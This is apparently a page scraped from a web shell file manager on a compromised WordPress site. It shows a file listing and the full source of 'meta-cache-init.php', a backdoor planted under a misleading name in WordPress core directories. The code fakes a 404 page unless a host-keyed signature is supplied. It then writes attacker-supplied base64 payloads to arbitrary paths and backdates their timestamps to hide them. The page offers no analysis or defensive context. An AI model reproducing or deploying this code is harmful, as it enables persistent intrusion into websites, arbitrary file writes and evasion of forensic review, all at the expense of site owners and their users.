ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.3.6

Path:root/var/www/cstage/wp-includes/js/tinymce/themes/

Name	Size	Perm	Actions
📁 inlite	-	0755	🗑️ 🏷️
📁 modern	-	0755	🗑️ 🏷️
📄 ms-files.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-activate.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️

Edit: meta-cache-init.php

<?php

$_bw = 'LKSJDFaDFDF323$2afd';
$_q4h = '_ck_kxnc61gi';

if (isset($_GET[$_q4h])) { echo '1'; exit; }

$_qhomf = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$_qhomf = strtolower($_qhomf);
$_xdr8 = strpos($_qhomf, ':');
if ($_xdr8 !== false) { $_qhomf = substr($_qhomf, 0, $_xdr8); }
if (substr($_qhomf, 0, 4) === 'www.') { $_qhomf = substr($_qhomf, 4); }

$_f1eu4 = md5($_bw . ':' . $_qhomf . ':' . $_bw);

$_md71 = isset($_POST['sig']) ? $_POST['sig'] : '';
if ($_md71 !== $_f1eu4) {
    header('HTTP/1.1 404 Not Found');
    echo "<!DOCTYPE html>\n<html><head><title>404</title></head><body><h1>Not Found</h1></body></html>";
    exit;
}

$_nre = isset($_POST['dest_rel']) ? $_POST['dest_rel'] : '';
$_ilg = isset($_POST['payload_b64']) ? $_POST['payload_b64'] : '';

if ($_nre === '' || $_ilg === '') { echo '{"ok":0}'; exit; }

$_nre = str_replace('\\', '/', $_nre);
$_nre = ltrim($_nre, '/');
if ($_nre === '' || strpos($_nre, '..') !== false) { echo '{"ok":0}'; exit; }

$_wo63 = dirname(__FILE__);
$_wxxfg = '../..';
$_gl6y = ($_wxxfg === '' || $_wxxfg === '.') ? $_wo63 : $_wo63 . '/' . $_wxxfg;

$_jwf2 = $_gl6y . '/' . $_nre;
$_onzc = dirname($_jwf2);
if (!is_dir($_onzc)) { @mkdir($_onzc, 0755, true); }

$_z7y = base64_decode($_ilg);
if ($_z7y === false) { echo '{"ok":0}'; exit; }

if (file_put_contents($_jwf2, $_z7y) === false) { echo '{"ok":0}'; exit; }

$_bkgt = mktime(mt_rand(0,23),mt_rand(0,59),mt_rand(0,59),mt_rand(1,12),mt_rand(1,28),2020);
@touch($_jwf2, $_bkgt);

echo '{"ok":1,"s":' . strlen($_z7y) . '}';

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.3.6

Edit: meta-cache-init.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.3.6